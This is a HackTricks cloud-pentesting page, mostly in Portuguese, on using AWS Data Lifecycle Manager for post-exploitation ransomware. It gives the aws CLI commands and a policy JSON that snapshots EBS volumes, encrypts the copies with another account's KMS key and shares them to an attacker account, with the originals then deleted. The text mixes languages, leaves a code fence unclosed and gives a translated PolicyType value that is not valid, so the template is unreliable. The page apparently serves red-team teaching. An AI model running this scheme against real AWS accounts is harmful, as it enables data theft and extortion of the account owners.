AWS - DLM Post Exploitation

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Gerenciador de Ciclo de Vida de Dados (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta da AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, eles podem transferir snapshots sem criptografia para uma conta que gerenciam e então criptografá-los lá. Embora não seja direto criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot.

Primeiramente, será utilizado um comando para reunir informações sobre volumes, como ID da instância, ID do volume, status de criptografia, status de anexo e tipo de volume. aws ec2 describe-volumes

Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.

```md
### Criar uma Política de Ciclo de Vida do AWS Data Lifecycle Manager

Para criar uma política de ciclo de vida no AWS Data Lifecycle Manager, você pode usar o seguinte comando:

```bash
aws dlm create-lifecycle-policy --description "Minha primeira política" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

A template for the policy document can be seen here:

```json
{
"PolicyType": "GERENCIAMENTO_DE_SNAPSHOT_EBS",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ChaveExemplo",
"Value": "ValorExemplo"
}
],
"Schedules": [
{
"Name": "SnapshotsDiarios",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "CriadorSnapshot",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CentroDeCusto",
"Value": "Financeiro"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/seu-id-de-chave-kms",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Última actualización